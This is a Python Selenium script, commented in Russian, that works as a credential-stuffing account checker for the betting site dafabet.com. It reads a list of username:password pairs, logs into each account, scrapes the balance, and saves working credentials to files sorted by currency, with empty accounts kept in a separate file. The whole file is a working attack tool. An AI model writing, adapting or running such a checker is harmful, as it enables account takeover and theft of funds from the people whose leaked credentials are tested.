from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
from selenium.webdriver.chrome.options import Options
from baza import check_and_add_record
def login_and_get_balance(driver, username, password):
try:
driver.get('https://www.dafabet.com')
WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.NAME, "LoginForm[username]"))
)
# Логин
username_input = driver.find_element(By.NAME, "LoginForm[username]")
password_input = driver.find_element(By.NAME, "LoginForm[password]")
username_input.send_keys(username)
password_input.send_keys(password)
password_input.send_keys(Keys.RETURN)
time.sleep(5)
# Получаем баланс
WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.ID, "player-balance"))
)
balance_element = driver.find_element(By.ID, "player-balance")
return balance_element.text
except Exception as e:
print(f"Ошибка при получении баланса: {e}")
return None
def main():
with open('dafabet_logpass.txt', 'r', encoding="utf8") as file1:
akki = file1.readlines()
for i in akki:
username, password = i.strip().split(":")
if check_and_add_record(username, password)=="neok":
continue
# options = Options()
# options.add_argument("--headless")
# # options.add_argument("--disable-gpu")
# options.add_argument("--incognito")
# options.add_argument('--disable-extensions')
driver = webdriver.Chrome()
balance = login_and_get_balance(driver, username, password)
if balance:
print(f"Баланс для {username}: {balance}")
balanc=balance.replace("Saldo total: ","").split()
if balanc[1]=="0.00":
with open(f'valid_pustishka.txt', 'a', encoding="utf8") as file2:
file2.write(f"\n{username}:{password}\n{balance}\n\n====")
else:
with open(f'valid_{balanc[0]}.txt', 'a', encoding="utf8") as file2:
file2.write(f"\n{username}:{password}\n{balanc[1]}\n\n====")
driver.quit()
if __name__ == "__main__":
main()